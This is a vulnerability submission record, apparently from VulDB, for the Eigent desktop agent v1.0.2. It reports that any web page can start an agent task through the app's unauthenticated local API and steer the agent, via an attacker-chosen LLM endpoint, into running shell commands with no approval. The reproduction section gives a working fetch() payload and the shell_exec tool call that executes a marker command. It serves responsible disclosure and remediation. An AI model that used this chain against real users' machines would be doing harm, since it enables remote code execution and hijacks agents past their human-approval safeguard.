| タイトル | eigent-ai eigent <= 1.0.2 Incorrect Access Control |
|---|
| 説明 | Product: Eigent desktop agent (eigent-ai/eigent, Electron application; Windows/macOS release v1.0.2)
Affected versions: <= 1.0.2 (current release, 2026-07-21; unfixed).
SUMMARY:
The Eigent desktop application (current release v1.0.2) runs a local FastAPI agent-control service on 127.0.0.1 (ports 5001–5050). No route requires any authentication, and the bundled CORS middleware is permissive by default (allow_origins falls back to ["*"], allow_methods=["*"], allow_headers=["*"]; v1.0.2 added an undocumented EIGENT_CORS_ORIGINS override, but the default stays wildcard).
Consequence: any website open in any browser on the user's machine can issue a cross-site POST http://127.0.0.1:<port>/chat and start an agent task with fully attacker-chosen parameters — including api_key and api_url. Because the request supplies the LLM endpoint, the attacker fully scripts the agent's behavior. The assembled agent includes a TerminalToolkit exposing shell_exec, and — verified live — executes OS commands with no approval prompt, no UI interaction, even with the app parked on the login screen. Net effect: RCE as the victim OS user from a single malicious web page.
REPRODUCTION (LIVE-FIRED 2026-08-28, THREE INDEPENDENT RUNS; SCREEN RECORDING AVAILABLE UNDER EMBARGO):
1. Victim runs Eigent v1.0.2 (fresh install). App sits at the login screen — no account login is needed for the backend to serve requests.
2. Victim visits any page serving:
fetch('http://127.0.0.1:5001/chat', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
task_id: 'x', project_id: 'x',
question: '<attacker instruction>',
email: 'x@x', model_platform: 'openai', model_type: 'gpt-4o-mini',
api_key: 'x', api_url: 'http://127.0.0.1:8078/v1' // attacker-controlled LLM
})
})
CORS preflight passes (wildcard); the request is accepted and a task starts.
3. The attacker's api_url is an OpenAI-compatible endpoint returning a single tool call to shell_exec. Backend logs show the agent assembled with 48 tools including shell_exec, and Authorization header is missing is logged while the task proceeds anyway — i.e., the absence of authentication only disables cloud sync, not execution.
4. ~60 s after the POST (agent bootstrap phase, still zero interaction), the mock returns shell_exec({"command": "cmd /c echo <marker> > C:\\Users\\Public\\marker.txt"}); ~300 ms later the marker file exists on disk, containing C02-CHAT-MARKER <victim-username> <hostname> <timestamp>. The UI remains "Login" throughout; the ask_human_via_gui tool is present in the toolset but is never invoked — the HumanInteraction approval model described in SECURITY.md is not engaged anywhere on this path.
WHY THIS IS A VULNERABILITY, NOT THE "CONFIGURABLE API_URL" FEATURE:
BYO-provider (api_url) is a legitimate feature of a model-agnostic product; this report does not contest it. The defect is that this configuration surface is reachable outside its trust boundary, because two defenses are missing:
1. No entry authentication — any local process or web page can impersonate the legitimate frontend (every route is unauthenticated);
2. No cross-site defense — CORS defaults to * (preflight passes), and the harm is in *starting the task*, not reading the response, so the v1.0.2 removal of credential reflection does not mitigate.
Anticipated responses, addressed up front:
- *"SECURITY.md already states that same-UID shell = full access."* That paragraph bounds the impact of agent actions; it does not define an authorization source for *who may start an agent*. The same class — unauthenticated access to API endpoints — was treated as CRITICAL and fixed in this very repository (#1293 "Unauthenticated snapshot listing, snapshot IDOR, unauthenticated share creation").
- *"localhost = trusted local scope."* The browser is a local process whose *origin* is any external website; that is precisely what CORS/CSRF defenses exist for. The same shape (local kernel API driven cross-site by a web page) was assigned CVE-2026-74802 / GHSA-3cc2-h3v6-rqpq (SiYuan, HIGH severity, fixed in 3.7.4) — a direct industry precedent for this class.
- *"v1.0.2 provides EIGENT_CORS_ORIGINS."* It is undocumented (the string appears only in its own implementation), defaults to ["*"], and carries no warning — the default configuration is vulnerable. v0.0.91 hardcoded allow_origins=["*"], allow_credentials=True (reflected origins).
AFFECTED VERSIONS:
- v1.0.2 (current, released 2026-07-21): confirmed live end-to-end.
- Disclosed for precision: v0.0.91 packaged builds fail to start the backend at all (pinned camel-ai[eigent]==0.2.91a3 wheel is missing the installer module its own ws_wrapper.py imports; v1.0.2 moved to 0.2.91a5), and upgrade installs inheriting the old venv state fail the same way. The practical affected population is fresh-install / clean-state v1.x users — the default install path.
SUGGESTED REMEDIATION (ANY ONE MATERIALLY BREAKS THE CHAIN):
1. Loopback auth token: main process generates a random token at startup; backend requires it on every route (standard Electron app/service pattern);
2. Restrict the CORS default to the app's own frontend origin(s), and/or validate Origin / Sec-Fetch-Site on task-starting routes;
3. Gate shell_exec (and other OS-escaping tools) behind the documented HumanInteraction approval whenever the task was not started from a UI session;
4. At minimum, document EIGENT_CORS_ORIGINS and ship a non-wildcard default.
IMPACT:
CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H = 8.9; CWE-352 (cross-site request forgery of the agent-start action), compounded by CWE-306 (missing authentication).
An attacker who can show the victim any web page gains arbitrary command execution as the victim user, plus the agent toolset (file read/write, browser automation that carries the user's logged-in sessions in persist:user_login, skills, sub-agents) and a persistent re-triggerable channel.
CVE ID REQUEST:
We kindly request that a CVE ID be assigned to this vulnerability when the report is accepted (GitHub is a CNA).
CVSS v3.1: 8.9 per the report: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (GitHub classifies the advisory as Critical; the vector is authoritative and subject to CNA recalibration).
CWE: CWE-352 (CSRF) compounded by CWE-306 (Missing Authentication for Critical Function)
DISCLOSURE: Reported privately to the maintainers via GitHub PVR on 2026-09-01 (GHSA-pxhc-8hfg-67xj, state triage, no CVE requested through GitHub). Not publicly disclosed. Live reproduction was performed on the released v1.0.2 on 2026-08-28 (three runs, screen recording under embargo).
DEDUP: NVD/GitHub/OSV searched: no prior CVE or GHSA covers the unauthenticated local agent API / wildcard-CORS task-start path. The closest industry precedent is CVE-2026-74802 (SiYuan local-kernel API driven cross-site).
FIX: Require a per-startup loopback auth token on every route; restrict CORS to the app own origin(s) and validate Origin/Sec-Fetch-Site on task-starting routes; gate shell_exec behind the documented HumanInteraction approval when the task was not started from a UI session. |
|---|
| ユーザー | NeoWSY (UID 82976) |
|---|
| 送信 | 2026年10月22日 13:27 (29 日 ago) |
|---|
| モデレーション | 2026年11月20日 20:07 (29 days later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 441574 [eigent-ai eigent 迄 1.0.2 Local Agent Control API chat_controller.py 弱い認証] |
|---|
| ポイント | 17 |
|---|